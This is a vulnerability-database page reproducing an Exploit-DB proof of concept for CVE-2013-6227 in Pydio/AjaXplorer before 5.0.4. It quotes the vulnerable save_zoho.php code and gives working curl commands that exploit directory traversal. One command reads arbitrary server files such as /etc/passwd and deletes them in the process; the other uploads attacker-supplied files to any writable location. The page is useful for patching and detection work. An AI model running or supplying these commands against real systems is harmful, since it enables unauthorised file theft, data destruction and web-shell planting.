Lucene search

K

Pydio / AjaXplorer < 5.0.4 - (Unauthenticated) Arbitrary File Upload

🗓️ 18 Jan 2019 00:00:00Reported by _jazz______Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 44 Views

Unauthenticated Arbitrary File Upload in Pydio/AjaXplorer v5.0.3 - 3.3.

Show more
Related
Code
ReporterTitlePublishedViews
Family
zdt
Pydio / AjaXplorer < 5.0.4 - Unauthenticated Arbitrary File Upload Exploit
20 Jan 201900:00
zdt
cvelist
CVE-2013-6227
27 Dec 201418:00
cvelist
cve
CVE-2013-6227
27 Dec 201418:59
cve
exploitpack
Pydio AjaXplorer 5.0.4 - (Unauthenticated) Arbitrary File Upload
18 Jan 201900:00
exploitpack
prion
Unrestricted file upload
27 Dec 201418:59
prion
packetstorm
Pydio / AjaXplorer 5.0.3 Shell Upload / Directory Traversal
19 Jan 201900:00
packetstorm
packetstorm
Pydio / AjaXplorer 5.0.3 Shell Upload
11 Nov 201300:00
packetstorm
nvd
CVE-2013-6227
27 Dec 201418:59
nvd
openvas
AjaXplorer Zoho plugin < 5.0.4 Directory Traversal Vulnerability
26 Nov 201300:00
openvas
securityvulns
Vulnerability in Pydio/AjaXplorer &lt;= 5.0.3
9 Dec 201300:00
securityvulns
Rows per page
# Exploit Title: Unauthenticated Arbitrary File Upload Vulnerability In Pydio/AjaXplorer 5.0.3 – 3.3.5
# Date: 01/18/2019
# Exploit Author: @_jazz______
# Vendor Homepage: https://pydio.com/
# Software Link: https://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/stable-channel/4.2.3/ajaxplorer-core-4.2.3.tar.gz/download
# Version: ajaXplorer before 5.0.4
# Tested on: ajaXplorer 4.2.3 on Debian 9 update 5
# References: https://web.archive.org/web/20140430075145/http://www.redfsec.com/CVE-2013-6227
# CVE: CVE-2013-6227
###########################################################################################
Affected file:
/plugins/editor.zoho/agent/save_zoho.php

<?php
  
  $vars = array_merge($_GET, $_POST);
  
  if(!isSet($vars["ajxp_action"]) && isset($vars["id"]) && isset($vars["format"])){
    $filezoho = $_FILES['content']["tmp_name"];
    $cleanId = str_replace(array("..", "/"), "", $vars["id"]);
    move_uploaded_file($filezoho, "files/".$cleanId.".".$vars["format"]);
 }else if($vars["ajxp_action"] == "get_file" && isSet($vars["name"])){
    if(file_exists("files/".$vars["name"])){
      readfile("files/".$vars["name"]);
      unlink("files/".$vars["name"]);
    }
  }
  
?>

Option 1: If "ajxp_action" is not set, upload "content" file to files/id.format. 
The code does not sanitize "format" parameter before passing it as an argument to "move_uploaded_file",
thus introducing an opportunity to upload files to any arbitrary location via directory traversal 
Note: User should have permission to write on the desired location.

Option 2: If "ajxp_action" is set to "get_file", read the file from "files/name" and then ERASE IT (unlink). 
Again, the code does not sanitize the "name" parameter, making it also vulnerable to directory traversal.

"files" directory's location is by default /plugins/editor.zoho/agent/files
A default location for reading/uploading files is /data/files/
###########################################################################################

[1] [CAUTION!] Read arbitrary files 
curl "http://<url>/<ajaxplorer_wwwroot>/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=<file_relative_path>"

e.g. curl "http://muralito.el.payaso/ajaxplorer/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../../../../../../../../etc/passwd"

[USE WITH CAUTION] This is a destructive function. Files retrieved WILL be erased after reading, provided that the file is writable by the user which the web server's process is running as.

[2] Arbitrary File Upload
*step 1 - Upload the file to the server* 
# curl -F 'content=@<filename_from_attacker_host>;type=<filetype>;filename=\"<filename>\"' "http://<url>/<ajaxplorer_wwwroot>/plugins/editor.zoho/agent/save_zoho.php?id=&format=<upload_to_file_relative_path>"

e.g. # curl -F '[email protected];type=text/html;filename=\"test.html\"' "http://muralito.el.payaso/ajaxplorer/plugins/editor.zoho/agent/save_zoho.php?id=&format=./../../../data/files/test.html"

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
18 Jan 2019 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS27.5
EPSS0.23
44
.json
Report